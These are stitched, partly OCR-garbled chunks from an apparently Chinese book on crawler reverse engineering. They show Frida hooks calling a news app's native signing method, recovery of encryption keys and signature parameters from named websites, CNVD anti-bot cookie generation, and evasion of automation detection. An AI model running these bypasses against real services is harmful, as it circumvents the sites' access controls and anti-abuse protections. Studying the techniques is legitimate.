    {"text": "最好还是合并后分析起来方便一些， 合并 的方式有很多种， 比如手动嵌入到 APK 中、 通过 Jadx 合并、 通过 MT 管理器合并、 通过 NP 管理器合并。 不过通过软件合并时经常会出问题， 一般都是根据错误原因对症下药， 比如一些壳的 Dex 文件肯定不是 大家需要的。 笔者尝试了多种方法， 最终选择手动合并， 先把 Dex 文件名改名为 classes∗. Dex， 然后把 APK 改为 rar， 把改名后的 Dex 复制到原 rar 中， 然后改成 APK， 最后放到 Jadx 中反编译， 如图 9-66 所示。 ·图 9-66 把全部的 Dex 放一起会增加很多的内存消耗， 如果内存不够， 可以分多次操作。 比如分两次， 每次 放 10 个 Dex 进去， 一些非常小的 Dex 文件也可以进行舍弃。 9. 6. 3 源码静态分析 把修改后的 APK 放到 Jadx 中反编译， 最好还是保留一下 APK 原始的 classes. Dex， 如图 9- 67 所示。"},
    {"text": "其实有快速判 断的技巧， 因为自定义的加密参数一般都在自己写的包里面， 所以一些通用的包名不用点进去看， 先去 掉即可。 另外也没必要在检索结果非常多的时候执着于单个查找， 可以搜索接口中的其他参数名， 接口 参数往往都是在同一文件中进行添加的。"},
    {"text": "3 14 . 第 9 章 Android 逆向案例 ·图 9-67 ·图 9-68 ·图 9-69 . 3 15 爬虫逆向进阶实战 进到第二个的时候， 发现页面中有接口中的其他参数， 也包括了 signature 参数， 所以此处大概率是 要找的位置，\" signature\" ， ho1. m31791a （url. url（）. toString（）， hashMap）；"},
    {"text": "分析 SignUtil 可以发现， SignUtil 是 com. yidian. news. util. sign. SignUtil 类， 类中的 计算 最 终 指向 了 3 16 . 第 9 章 Android 逆向案例 native 中的 signInternal 方法， 如图 9-72 所示。"},
    {"text": "大家按照案例做的时候不要着急， 笔者在这里花了很长的时间去静态分析， 因为计算机的内存不够， 无法把脱壳下来的所有 Dex 一同反编译， 所以从 40 个 Dex 中不断筛选、 测试、 查看， 最终找到了参数生 成的代码位置。"},
    {"text": "另外当时找 sign 位置的 p000. fo1 和 com. yidian. news. util. sign. SignUtil 不是在同一批 Dex 中。 笔者删 除特别小的 Dex 后， 还剩余 20 个 Dex 文件， 按照文件大小排序， p000. fo1 在前 10 个 Dex 中， sign. SignUtil 在后 10 个 Dex 中。"},
    {"text": "需要补充一点的是， 逆向分析 并不是只有静态分析一种方法， 案例中这么做是为了给大家增加静态分析的经验， 后期可以参考 Android 逆向中的 “加密参数定位方法” 进行动态分析， 会让整个过程更加愉悦。"},
    {"text": "Hook 代码： import Frida, sys def on_message(message, data): . 3 17 爬虫逆向进阶实战 print(\"[% s] => % s\" % (message, data)) session = Frida.get_usb_device().attach( App 包名 ) jscode_hook = \"\"\" Java.perform( function(){ console.log(\"1. start hook\"); var ba = Java.use(\"com.yidian.news.util.sign.SignUtil\"); if (ba != undefined) { console.log(\"2. find class\"); ba.signInternal.implementation = function (a1,a2) { console.log(\"3. find function\"); console.log(a1); console.log(a2); var res = ba.signInternal(a1,a2); console.log(\"计算 Sign:\" + res); return res; } } } ) \"\"\" script = session.create_script(jscode_hook) script.on( message , on_message) script.load() sys.stdin.read() 查看打印内容： 可以发现生成加密的参数如下： yidian6. 0. 4. 41kbylz0sj_ 1640076503362_ 231030300 yidian6. 0. 4. 41kbylz0sj_ 1640076503792_ 231030300 参数就是 m31791a 中的 Appid、cv、platform、reqid、version 等。"},
    {"text": "3 18 . 第 9 章 Android 逆向案例 var currentApplication = Java.use(\"android.App.ActivityThread\").currentApplication(); var context = currentApplication .getApplicationContext (); Frida RPC 代码： import Frida def on_message(message, data): print(\"[% s] => % s\" % (message, data)) def start_hook(): session = Frida.get_usb_device().attach( 应用包名 ) print(\"[* ] start hook\") js_code = rpc.exports = { \"a\":function (params) { var ret = {}; Java.perform(function(){ console.log(\"1. start hook\"); var ba = Java.use(\"com.yidian.news.util.sign.SignUtil\"); var current_Application = Java.use( android.App.ActivityThread ).currentApplication(); var a1 = current_Application.getApplicationContext(); if (ba != undefined) { console.log(\"2. find class\"); var a2 = params; var res = ba.signInternal(a1,a2); console.log(\"计算 Sign:\" + res); console.log(res) ret[\"result\"] =res; console.log(ret) } } ) return ret; } } script = session.create_script(js_code) script.on( message , on_message) script.load() return script import time stimec = str(int(time.time()* 1000)) params = f yidian6.0.4.41kbylz0sj_{stimec }_207030300 result = start_hook().exports.a(params) print(result) . 3 19 爬虫逆向进阶实战 运行测试， 发现已经成功调用， 大家也可以自己搭一个 Flask 接口来进行 RPC 调用。"},
    {"text": "感兴 趣的读者可以继 续 去 追 一 下 so 中 的 signInter， 解 压 APK 可 以 找 到 lib 目 录， so 在 lib 目 录 中， 找 到 libutil. so 后， 用 IDA 打开， 直接在函数窗口搜索 signInter 关键词， 第一个就是 signInter。"},
    {"text": "Unknown 8. 3 协议降级 Demotion 是降级的意思， 这是一种抓包技巧。 比如美团系 （美团、 点评、 滴滴） 使用了一种叫作移 动长连接的技术， 就是在打开 App 的时候， 移动端和服务器建立起 tcp 连接， 后续的请求和接收都走该通 道， 导致抓不到 http / https 的数据包。 不过这种技术在 TCP 通道无法建立或者发生故障时， 会选择使用 UDP 面向无连接的特性提供另一条 请求通道， 或者绕过代理长连服务器之间向业务服务器发起 HTTP 公网请求。 所以这就有了降级方案， 可以通过屏蔽 IP 实现。 找服务端 IP 需要用 Wireshark 或者 HTTPAnalyzerStd V7 来进行了。 找到 IP 后， 通过防火墙屏蔽， 就可以正常使用 charles、 fiddler 抓包了。 Unknown 2. 准备数据 验 证 码 数 据 集： https： / / pan. baidu. com / s / 12iH5lpoXLAOTEiaQpoz7jg； 提 取 码： r5ux， 如 图 10-14 所示。"},
    {"text": "3. 5. 1 base64 base64 是一种基于 64 个可打印 ASCII 字符对任意字节数据进行编码的算法， 其在编码后具有一定意 . 5 3 爬虫逆向进阶实战 义的加密作用。"},
    {"text": "浏览器中提供了原生的 base64 编码、 解码方法， 方法名就是 btoa 和 atob， 如图 3-35 所示。 但是本地是没有 btoa 和 atob 两个方法的， 在原生 Js 实现 base64 需要自己编写代码， 由于代码量太多就 不贴出来了， 大家自己查一查资料即可。 在 Nodejs 中使用 base64： ·图 3-35 var str1 = \"lx\"; var str2 = \"bHg = \"; var strToBase64 = new Buffer (str1 ). toString( base64 ); var base64ToStr = new Buffer (str2 , base64 ).toString(); Python 实现代码： import base64 print(base64. b64encode( lx .encode())) print(base64.b64decode( bHg = .encode())) unicode 和 urlencode 比较简单， unicode 是计算机中字符集、 编码的一项业界标准， 被称为统一码、 万 国码， 表现形式一般以\" \\u\" 或\" &#\" 开头。"},
    {"text": "3. 5. 2 MD5 MD5 消息摘要算法 （英文： MD5 Message-Digest Algorithm）， 一种被广泛使用的密码散列函数， 可以 产生出一个 128 位 （16 字节） 的散列值 （hash value）， 用于确保信息传输完整一致。"},
    {"text": "const CryptoJs = require ( crypto-js ); // MD5 加密 let password = \"lx123\"; let encPwd = CryptoJs.MD5(password).toString(); console .log(encPwd); Python 实现代码： import hashlib m = hashlib.md5() m.update(str.encode(\"utf8\")) m.hexdigest() 3. 5. 3 SHA1 SHA1 （Secure Hash Algorithm） 安全哈希算法主要适用于数字签名标准 （ Digital Signature Standard DSS） 里面定义的数字签名算法 （Digital Signature Algorithm DSA）， SHA1 比 MD5 的安全性更强。"},
    {"text": "const CryptoJs = require ( crypto-js ); let password = \"lx123\"; let encPwd = CryptoJs. SHA1(password).toString(); console .log(encPwd); Python 实现代码： importhashlib sha1 = hashlib.sha1() data = lx sha1.update(data.encode( utf- 8 )) sha1_data = sha1.hexdigest() 3. 5. 4 HMAC HMAC 全称： 散列消息鉴别码 （Hash Message Authentication Code）。"},
    {"text": "以 HMAC 中的 SHA256 加密为例， 还是通过 crypto-js 实现： const CryptoJs = require ( crypto-js ); let key = \"key\"; let text = \"lx\"; let hash = CryptoJs.HmacSHA256(text, key); let hashInHex = CryptoJs.enc .Hex.stringify(hash); console .log(hashInHex); Python 实现代码： importhmac importhashlib key = key .encode() text = lx .encode() mac = hmac.new(key,text,hashlib.sha256) mac.digest() mac.hexdigest() 3. 5. 5 DES DES 全称： 数据加密标准 （Data Encryption Standard）， 属于对称加密算法。"},
    {"text": "const CryptoJs = require ( crypto-js ); let password = CryptoJs.enc .Utf8.parse(\"123456\"); . 5 5 爬虫逆向进阶实战 let key = CryptoJs.enc .Utf8.parse(\"1234567\"); cfg = { mode :CryptoJs.mode .ECB , padding :CryptoJs.pad .Pkcs7 }; // DES 加密 let encPwd = CryptoJs.DES .encrypt(password, key, cfg ).toString(); // DES 解密 decPwd = CryptoJs.DES .decrypt (encPwd, key, cfg ).toString(CryptoJs.enc .Utf8); Python 实现代码： import binascii from pyDes import des, CBC, PAD_PKCS5 def des_encrypt(secret_key, s): iv = secret_key k = des(secret_key, CBC, iv,pad=None, padmode=PAD_PKCS5) en = k.encrypt(s,padmode=PAD_PKCS5) return binascii.b2a_hex(en) def des_decrypt(secret_key, s): iv = secret_key k = des(secret_key, CBC, iv,pad=None, padmode=PAD_PKCS5) de = k.decrypt(binascii.a2b_hex(s), padmode=PAD_PKCS5) return de secret_str = des_encrypt( 999 , lx-message ) clear_str = des_decrypt( 999 , secret_str) 3. 5. 6 AES AES 全称： 高级加密标准 （英文： Advanced Encryption Standard）， 在密码学中又称 Rijndael 加密法， 是美国联邦政府采用的一种区块加密标准。"},
    {"text": "let password = \"lx123\"; let key = \"1234567890abcdef\" // AES 加密 cfg = { mode :CryptoJs.mode .ECB , padding :CryptoJs.pad .Pkcs7 } let encPwd = CryptoJs.AES.encrypt(password , key , cfg ).toString() // AES 解密 let key = CryptoJs.enc .Utf8.parse(\"1234567890abcdef\") cfg = { 5 6. 第 3 章 Web Js 逆向 mode :CryptoJs.mode .ECB , padding :CryptoJs.pad .Pkcs7 } encPwd = \"+4X1GzDcLdd5yb3PiZLxdw = = \" decPwd = CryptoJs.AES.decrypt (encPwd , key , cfg ).toString(CryptoJs.enc.Utf8) // 指 定 解 码 方式 console.log(decPwd) // lx123 Python 实现代码： import base64 from Crypto.Cipher import AES # AES # 需要补位，str 不是 16 的倍数那就补足为 16 的倍数 defadd_to_16(value): while len(value) % 16 != 0: value += \\0 return str.encode(value) # 返回 bytes # 加密方法 def encrypt(key, text): aes = AES.new(add_to_16(key), AES.MODE_ECB) # 初始化加密器 encrypt_aes = aes.encrypt(add_to_16(text)) # 先进行 aes 加密 encrypted_text = str(base64.encodebytes(encrypt_aes), encoding= utf-8 ) return encrypted_text # 解密方法 def decrypt(key, text): aes = AES.new(add_to_16(key), AES.MODE_ECB) # 初始化加密器 base64_decrypted = base64.decodebytes(text.encode(encoding= utf-8 )) decrypted_text = str(aes.decrypt(base64_decrypted), encoding= utf-8 ).replace( \\0 , ) # 执行解密并转码返回 str return decrypted_text 3. 5. 7 RSA RSA 全称： Rivest-Shamir-Adleman， RSA 加密算法是一种非对称加密算法， 在公开密钥加密和电子商 业中 RSA 被广泛使用， 它被普遍认为是目前最优秀的公钥方案之一。"},
    {"text": "Js 实现加密可以使用 jsencrypt 加密库， 另外需要生成好公钥和私钥， 可以到在线网站去生成。 window = global ; const JSEncrypt = require ( jsencrypt ); publickey = 公钥 ; // 加密 let jse = new JSEncrypt(); jse.setPublicKey(publickey ); . 5 7 爬虫逆向进阶实战 var encStr = jse.encrypt( username ); // 解密 privatekey = 私钥 ; jse.setPrivateKey(privatekey ); var Str = jse.decrypt (encStr); Python 实现代码： import base64 import rsa fromrsa import common class RsaUtil(object): PUBLIC_KEY_PATH = public_key.pem # 公钥 PRIVATE_KEY_PATH = private_key.pem # 私钥 # 初始化 key def _init_(self, company_pub_file=PUBLIC_KEY_PATH, company_pri_file=PRIVATE_KEY_PATH): if company_pub_file: self.company_public_key = rsa.PublicKey.load_pkcs1_openssl_pem(open(company_ pub_file).read()) if company_pri_file: self.company_private_key = rsa.PrivateKey.load_pkcs1(open(company_pri_file). read()) def get_max_length(self, rsa_key, encrypt=True): \"\"\"加密内容过长时需要分段加密换算每一段的长度. :param rsa_key:钥匙. :param encrypt:是否是加密. \"\"\" blocksize = common.byte_size(rsa_key.n) reserve_size =11 # 预留位为 11 if not encrypt: # 解密时不需要考虑预留位 reserve_size = 0 maxlength = blocksize - reserve_size return maxlength def encrypt_by_public_key(self, message): \"\"\"使用公钥加密. :param message:需要加密的内容. 加密之后需要对结果进行 base64 转码 \"\"\" encrypt_result = b max_length = self.get_max_length(self.company_public_key) while message: input = message[:max_length] message = message[max_length:] out = rsa.encrypt(input,self.company_public_key) encrypt_result += out 5 8. 第 3 章 Web Js 逆向 encrypt_result = base64.b64encode(encrypt_result) return encrypt_result def decrypt_by_private_key(self, message): \"\"\"使用私钥解密. :param message:需要加密的内容. 解密之后的内容直接是字符串，不需要进行转义 \"\"\" decrypt_result = b\"\" max_length = self.get_max_length(self.company_private_key, False) decrypt_message = base64.b64decode(message) while decrypt_message: input = decrypt_message[:max_length] decrypt_message = decrypt_message[max_length:] out = rsa.decrypt(input,self.company_private_key) decrypt_result += out return decrypt_result def sign_by_private_key(self, data): \"\"\"私钥签名. :param data:需要签名的内容. 使用 SHA-1 方法进行签名（也可以使用 MD5） 签名之后，需要转义后输出 \"\"\" signature = rsa.sign(str(data), priv_key=self.company_private_key, hash= SHA-1 ) return base64.b64encode(signature) def verify_by_public_key(self, message, signature): \"\"\"公钥验签. :param message:验签的内容. :param signature:对验签内容签名的值（签名之后，会进行 b64encode 转码，所以验签前也需转码）. \"\"\" signature = base64.b64decode(signature) return rsa.verify(message, signature, self.company_public_key) 3. 6 加密参数还原与模拟 加密参数还原的逻辑很简单， 找到代码中加密参数的生成过程， 然后模拟出相同的方法。"},
    {"text": "3. 6. 1 Virustotal 逆向入门案例 Virustotal 是一个提供免费的可疑文件分析服务的 网站， 笔者之前在查看该网站搜索接口的时候， 发现 请求头中有一个 x-vt-anti-abuse-header 的加密参数， 逆 向难度不大， 很适合 初 学 者 来 理 解 Js 逆向原理， 如 图 3-36所示。"},
    {"text": "import execjs js = function get_anti(){ const e = Date.now() / 1e3; return Buffer.from((`${(()=>{ const e = 1e10 * (1 + Math.random() % 5e4); return e < 50 ? \"-1\":e.toFixed(0) } )()}-ZG9udCBiZSBldmls-${e}`)).toString( base64 ); } xvt_anti = execjs.compile(js).call( get_anti ) 需要注意的 btoa-atob 模块是浏览器的内置方法， execjs 不能直接使用。"},
    {"text": "3. 6. 2 Newrank 榜单逆向案例 本节内容是分析新榜榜单接口的加密参数， 网页上的微信榜、 微博榜、 抖音榜、 快手榜、 bilibili 榜、 资讯等都使用了相同的参数， 如图 3- 40 所示。 ·图 3-40 网站链接： https： / / www. newrank. cn / public / info / list. html 首先通过控制台进行抓包， 以微信榜单的文化日榜为例查看接口， 如图 3- 41 所示。"},
    {"text": "Js 模拟示例： function j () { for (var a = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"a\", \"b\", \"c\", \"d\", \"e\", \" f\"] , b = 0; b < 500; b++) for (var c = \"\", d = 0; d < 9; d++) { var e = Math .floor(16 * Math .random()); . 6 3 爬虫逆向进阶实战 c += a[e] } return c } var nonce = j (); var a = \"/xdnphb/main/v1/day/rank? AppKey = joker&nonce = \"+nonce ; function b () { //省略,此处为 b(a) } 经过调试发现， 每个接口对应的 a （ \" / xdnphb / ∗∗∗∗∗\" ） 是不同的， 所以要根据不同接口进行 修改。"},
    {"text": "通过 send 进来之后并没有发现和该参数相关的方法， 那 ·图 3-48 么根据控制台右侧的 Call Stack， 继续往下点， 点到 CheckForm 的时候可以发现在 Ajax 方法前有一个#txtpassword， 如图 3- 49 所示。 ·图 3-49 6 4. 第 3 章 Web Js 逆向 这里$ （\" #txtpassword\" ） . val （ hex_md5 （ $ （ \" #txtpassword\" ） . val（ ）））；"},
    {"text": "·图 3-50 其实能确认是 MD5 加密之后， 就可以用其他语言复 写了。 笔者用在线加密工具进行加密， 可以发现生成的 值和 Form Data 中的值相同， 如图 3-51 所示。"},
    {"text": "我们再用 Python 实现一下 MD5 加密： import hashlib m = hashlib.md5() m.update(b 12 ) print(m.hexdigest()) ·图 3-51 输出结果： c20ad4d76fe97759aa27a0c99bff6710 3. 6. 4 RSA 参数加密逆向案例 本节是对 RSA 加密的逆向案例， 主要内容是对登录参数的 RSA 加密分析。"},
    {"text": "·图 3-54 ·图 3-55 ·图 3-56 发现有明显的 RSA 标志 setPublickey， 接下来就用代码进行还原， 然后通过生成的结果和接口中的数 据进行对比， 如果对比无误， 则还原成功。"},
    {"text": "6 6. 第 3 章 Web Js 逆向 from Cryptodome.PublicKey import RSA from Cryptodome.Cipher import PKCS1_v1_5 def encrypt_str(data): key = \"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsgDq4OqxuEisnk2F0EJFmw4xKa5Ir cqEYHvqxPs2CHEg2kolhfWA2SjNuGAHxyDDE5MLtOvzuXjBx/5YJtc9zj2xR/0moesS+Vi/xtG1tkVaTCba+TV+ Y5C61iyr3FGqr + KOD4/XECu0Xky1W9ZmmaFADmZi7 + 6gO9wjgVpU9aLcBcw/loHOeJrCqjp7pA98hRJRY + MML8MK15mnC4ebooOva+mJlstW6t/1lghR8WNV8cocxgcHHuXBxgns2MlACQbSdJ8c6Z3RQeRZBzyjfey6JCC fbEKouVrWIUuPphBL3OANfgp0B+QG31bapvePTfXU48TYK0M5kE+8LgbbWQIDAQAB\" rsakey = RSA.import_key(base64.b64decode(key)) cipher = PKCS1_v1_5.new(rsakey) cipher_text = base64.b64encode(cipher.encrypt(data.encode(encoding=\"utf-8\"))) return cipher_text Cryptodome 是第三方库， 属于对 PyCrypto 库的扩展， 所以需要进行安装。"},
    {"text": "3. 6. 5 AES 数据加密逆向案例 前面小节中的案例是对接口中的参数进行逆向还原， 本节内容来看一下针对行行查网站响应内容的 加密逆向案例。"},
    {"text": "·图 3-57 首先通过堆栈调试进行断点， 在调用中看到了一个名为 feachDate 的堆栈， 应该就是要找的部分， 点 进去进行查看， 如图 3-58 所示。 ·图 3-58 . 6 7 爬虫逆向进阶实战 看到有 decrypt 和 JSON. parse， 在这里进行断点， 如图 3-59 所示。 ·图 3-59 触发断点， 可以看出来 c [\" a\" ] . decrypt 就是解密， 如图 3- 60 所示。"},
    {"text": "·图 3-60 ·图 3-61 这就不难看出来是一个 AES 加密了， 继续断点看一下， 如图 3- 62 所示。 ·图 3-62 可以发现密钥是 3sd&d24h@$udD2s∗， mode 是 ECB， padding 是 Pkcs7。"},
    {"text": "import requests import base64,json,re 6 8. 第 3 章 Web Js 逆向 from Crypto.Cipher import AES def decrypt(info:str) -> list: key = 3sd&d24h@ $ udD2s* .encode(encoding= utf-8 ) cipher = AES.new(key, mode=AES.MODE_ECB) json_str = str(cipher.decrypt(base64.b64decode(info)), encoding= utf-8 ) data = re.sub( [ \\x00-\\x09|\\x0b -\\x0c |\\x0e -\\x1f ] , , json_str) return json.loads(data) headers = {}# 需要把你的 header 复制进去 url = \"https://Api.hanghangcha.com/hhc/tag\" # 产业图谱接口 res = requests.get(url,headers = headers) payload = json.loads(res.content)[ data ] data = decrypt(payload) print(data) 运行代码， 可以看到解密成功。"},
    {"text": "加密代码如下： ·图 3-65 ·图 3-66 7 0. 第 3 章 Web Js 逆向 var CryptoJS = require (\"crypto-js\"); function lx(hh) { var aa = hh.split(\"/\"); var aaa = aa.length ; var bbb = aa[ aaa - 1] .split( . ); var ccc = bbb[0] ; var cccc = bbb[1] ; var r = /^ \\+? [1-9] [0-9] * $/; var srcs = CryptoJS.enc .Utf8.parse(ccc); var s = \"qnbyzzwmdgghmcnm\"; var k = CryptoJS.enc .Utf8.parse(s); var en = CryptoJS.AES.encrypt(srcs, k, { mode :CryptoJS.mode .ECB , padding :CryptoJS.pad .Pkcs7 }); var ddd = en.toString(); ddd = ddd.replace(/ \\//g, \"^\"); ddd = ddd.substring(0, ddd.length - 2); var bbbb = ddd + . + bbb[1] ; aa[ aaa - 1] = bbbb; var uuu = ; for (i = 0; i < aaa; i ++) { uuu += aa[i ] + / } uuu = uuu.substring(0, uuu.length - 1); return uuu; } var hh = \"http://ggzy.zwfwb.tj.gov.cn:80/jyxxcgjg/970369.jhtml\"; console .log(lx(hh)); 本小节的内容并不复杂， 但是独特地展现出了以链接加密和以 DOM 事件监听调试的分析逻辑， 丰富 了大家的逆向经验。"},
    {"text": "3. 6. 7 CNVD 加速乐分析案例 本小节的案例内容是 CNVD 漏洞共享平台的 cookie 生成分析， 该网站采用了加速乐 （JSL） 的混淆和 加密， 特征比较明显， cookie 会经过多次请求后生成。"},
    {"text": "可以发现_0x1c3e6f 是传进去的参数， _0x1c3e6f [ tn ] 就是上面的_jsl_clearance_s， 说明执行这里后 更新了_jsl_clearance_s。"},
    {"text": "7 2. 第 3 章 Web Js 逆向 ·图 3-70 ·图 3-71 ·图 3-72 ·图 3-73 . 7 3 爬虫逆向进阶实战 其实到这里就分析完了， 在第三次请求中没有其他参数， 携带着前两次生成的 cookie 即可进行请求。"},
    {"text": "但是想要在本地运行这段 Js 代码还需要去补一些环境， 比如 window = { }， window. navigator = { }， 具 体如何补环境可以参考下一节内容。 所以把 Js 保存到本地比较方便一点， 当然也可以通过编辑字符串动 态去添加环境。"},
    {"text": "接下来根据分析出的流程来编写代码， 还原的过程中发现了一些问题， 不同页面的 Js 是不一样的， 是通过 ha 这个参数控制的， 比如首页是 sha255， 漏洞列表是 MD5， 还有 sha1 的。"},
    {"text": "import requests import re import execjs headers = { User-Agent : ... } url = https://www.cnvd.org.cn/flaw/list.htm sess = requests.session() def start(): r =sess.get(url,headers=headers) cookie = re.search( <script>document.cookie=(.* ?);location ,r.text).group(1) x = execjs.eval(cookie).split( ; )[0].split( = ) sess.cookies[x[0]] = x[1] def then(): 获取第二次请求的 cookie r1 = sess.get(url,headers=headers) 7 4. 第 3 章 Web Js 逆向 text = r1.text data = re.search( ;go\\((.* ?)\\)</script> ,text).group(1) hash = re.search( \"ha\":\"(.* ?)\", ,data).group(1) # exec_cookie 方法是根据提取出的 ha 执行对应的 Js 文件 cookie = exec_cookie(data,hash).split( ; )[0].split( = ) sess.cookies[cookie[0]] =cookie[1] 本节内容到这里结束了， 案例难度并不是非常高， 逆向是一个循序渐进的过程， 前期需要很多练习 去积累经验。"},
    {"text": "Unknown 4. 5 Appnium Appium 是一个开源自动化测试框架， 使用与 Selenium 相同的 webdriver 协议， 用于 Android、 iOS 自动 化和 Windows 桌面平台上的原生、 移动 Web 和混合应用。 Appium 不需要重新编译或者修改应用， 也不被 一种语言或者框架约束， 并且开源免费。 在开发中使用 Appium 主要是进行 App 的自动化操作， 如图 4-19 所示。 ·图 4-19 官网地址： http： / / Appium. io / Github 地址： https： / / Github. com/ Appium/ Appium 4. 5. 1 Appnium 概念 Appium 的核心是暴露 REST Api 的 Web 服务器。 它接受来自客户端的连接和监听命令并在移动设备 上执行。 可以使用它的 http 客户端的 Api 来编写测试代码， 如图 4-20 所示。 ·图 4-20 Appium 支持多种设备以及各种测试方式 （native、 hybrid、 web、 真机、 模拟器等）。 本节 内 容 主 要 围 绕 Android 设 备 来 进 行 讲 解， Android 模拟器以及 Android 真机使用 Appnium 的系统版本需要高于 4. 3。 4. 5. 2 Appnium 配置 Appium 有两种安装方法， 通过 npm 或下载 Appium Desktop， 如图 4-21 所示。 ·图 4-21 . 1 39 爬虫逆向进阶实战 桌面版的下载地址： https： / / Github. com / Appium / Appium-desktop / releases / 但是想要在 Windows 上使用它， 还需要安装很多依赖， 比如 Java 的 jdk， Android 的 sdk。 这些依赖的 安装和配置不在这里详述了， 大家可以自行查找资料。 通过 npm 安装也非常简单， 前提是要有 Node. js 环境， 安装命令： npm install -g Appium。 安装后可以通过命令行启动一个 Appium 服务器， 启动命令： Appium。 启动成功后， 会显示一条欢迎消息， 显示正在运行的 Appium 版本以及它当前监听的端口 （默认为 4723）。 4. 5. 3 Appnium 测试 本节内容是在 Windows 系统下用桌面版 Appnium 结合 Python 对夜神模拟器的 App 进行自动化操作。 要结合 Python 进行 App 测试的时候， 还需要安装 Appium-Python-Client。 安装命令： pip install Appium-Python-Client。 环境准备好后， 通过 adb 命令连接夜神模拟器， 默认端口 62001。 连接命令： adb connect 127. 0. 0. 1： 62001。 启动桌面版 Appium. exe， 配置好环境， 单击 “Start Server v1. 22. 0” 按钮连接服务器， 如图 4-22 所示。 ·图 4-22 启动成功后会进入 Appium 界面， 如图 4-23 所示。 ·图 4-23 1 40 . 第 4 章 自动化工具的应用 单击查找图标可以查看是否和模拟器连接成功。 接下来就可以进行自动化开发了。 后面的语法和具体应用就不再介绍了， 大家可以自行查看资料学 习测试。 Unknown 1. Xposed 框架介绍 Xposed 官网地址： https： / / repo. xposed. info / 具体下载安装步骤就不介绍了， Android （ 安卓） 5 以上版本需要手动刷入框架， Xposed 并不支持 Android 9 以上版本， 但可经由 EdXposed 代替。 Xposed 下载之后可一键安装， 但是需要注意的是必须下载 和 Android 系统相匹配的 Xposed 版本， 并且设备已经有 Root 权限， 如图 6- 41 所示。 ·图 6-41 关于 Xposed 的模块， 也被称为 Xposed 插件， 其实是一种特殊类型的 Android App， 这种 App 可以被 Xposed 框架自动识别并加载， 然后通过框架 Hook 到其他的 App 进程中， 如图 6-42 所示。 ·图 6-42 . 2 01 爬虫逆向进阶实战 Android 中所有 App 都是由 Zygote 进程 Fork 出来的， 所以自定义 Zygote 进程就能实现对其他 App 的 Hook 注入。 Xposed 就是利用这个原理， 修改了 Zygote 进程对应的可执行文件 App_process， 然后通过 re-covery （工程模式） 替换系统原有的 App_process 文件， 因此每次勾选 Xposed 模块后， 都需要重启设备才 能生效。 接下来学习一下如何编写一个 Xposed 模块。"},
    {"text": "Unknown 4. 2 Pyppeteer Pyppeteer 是 Puppeteer 的 Python 版本， 是 Google 基于 Node. js 开发的工具， 可以通过 JavaScript 代码来 操纵 chrome。 所以在浏览器中绝大多数操作都可以使用 Pyppeteer 来完成， 比如页面功能测试、 自动提交 表单、 请求响应拦截、 导出页面 PDF、 测试浏览器扩展等。 4. 2. 1 工具简介 网上都说 Pyppeteer 是比 Selenium 更高效的爬虫库， 主要原因是 Pyppeteer 使用了 Python 的异步协程 库 Asyncio， 它也可结合 Scrapy 进行分布式爬虫。 Github 地址： https： / / Github. com/ Pyppeteer/ Pyppeteer Pyppeteer 采用 了 Python 的 Async 机 制， 所 以 其 运 行 要 求 的 Python 版 本 需 要 3. 6 及 以 上。 不 过 Pyppeteer 安装极为简便， 使用 pip3 install Pyppeteer 命令就能完成安装， 对应的 Chromium 在 Pyppeteer 首 次启动时会自动下载， 不需要手动配置， 如图 4- 6 所示。"},
    {"text": "import Asyncio,time from Pyppeteer import launch Async def main(): browser = await launch({ headless :False }) page = await browser.newPage() await page.goto( https://www.baidu.com ) time.sleep(2) print(await page.content()) await page.screenshot({ path : example.png }) await browser.close() Asyncio.get_event_loop ( ) . run_until_complete ( main ( ) ) . 1 23 爬虫逆向进阶实战 Pyppeteer 的 launch 用来启动一个浏览器， 在 launch 方法中可以添加一些配置参数， 比如设置无头模 式、 设置 UA、 窗口大小、 日志等级等。"},
    {"text": "Page 类中目前有近 100 个方法， 笔者挑了一些常用的方法进行汇总， 如表 4-7 所示。 表 4-7 Page 类中的方法 方 法 简 介 page. url 返回当前 URL page. goto() 前往一个 URL page. goBack() 返回前一个页面 page. goForward() 前进到历史记录的下一个页面 page. content() 获取页面源代码 page. title() 获取页面标题 page. screenshot() 页面截图 page. create() 创建一个新页面对象 page. click() 点击一个元素 page. hover() 将鼠标悬停在元素上 page. tap() 触摸匹配的元素 page. xpath() 匹配 xpath 选择的元素 page. select() 匹配 CSS 选择的元素 page. setUserAgent() 设置页面的 User-Agent page. setJavaScriptEnabled() 设置 JavaScript 启用 / 禁用 1 24 . 第 4 章 自动化工具的应用 (续) 方 法 简 介 page. setViewport() 设置页面视图 page. authenticate() 设置请求身份验证 page. cookies() 获取当前 cookie page. setCookie() 添加 cookie page. deleteCookie() 删除 cookie page. waitFor() 等待页面匹配的元素出现 page. waitForXPath() 等待页面上出现 xpath 匹配的元素 Page. waitForRequest() 等待请求出现 (某 URL 或者函数) page. waitForResponse() 等待响应内容出现 (某 URL 或者函数) page. waitForFunction() 等到函数执行完成并返回结果 page. focus() 聚焦与选择器匹配的元素 page. emulate() 模拟设备信息和用户代理 page. emulateMedia() 模拟页面 CSS 媒体类型 page. addScriptTag() 添加 Script 标签引入 Js page. evaluate() 在浏览器上执行 Js 函数并获取结果 page. evaluateHandle() 在页面上执行 Js 函数 page. evaluateOnNewDocument() 在文档中添加 Js 函数 page. frames 获取页面所有 frames 笔者把常用的方法进行了整理， 有一些并未收录， 具体使用时， 大家可以去阅读源码。"},
    {"text": "4. 2. 3 检测应对 Pyppeteer 和 Selenium 一样会被网站检测到存在 webdriver 或者其他自动化工具的属性， 导致被网站屏 蔽掉， 所以有时候需要修改一些参数， 保证 Pyppeteer 的正常使用。"},
    {"text": "一些浏览器参数在源码中可以进行修改， 修改位置在 “ site-packages \\ Pyppeteer \\ launcher. py” 文件 的 DEFAULT_ARGS 列表中， 可以直接在源码中修改， 或者导入 DEFAULT_ARGS 列表， 在启动前进行 配置。"},
    {"text": "如在下面的代码中设置 webdriver、 languages、 plugins， 在实际的使 用中， 如果发现被检测到， 可以通过 bot. sannysoft. com 和真实环境下的参数进行对比， 然后修改默认值。"},
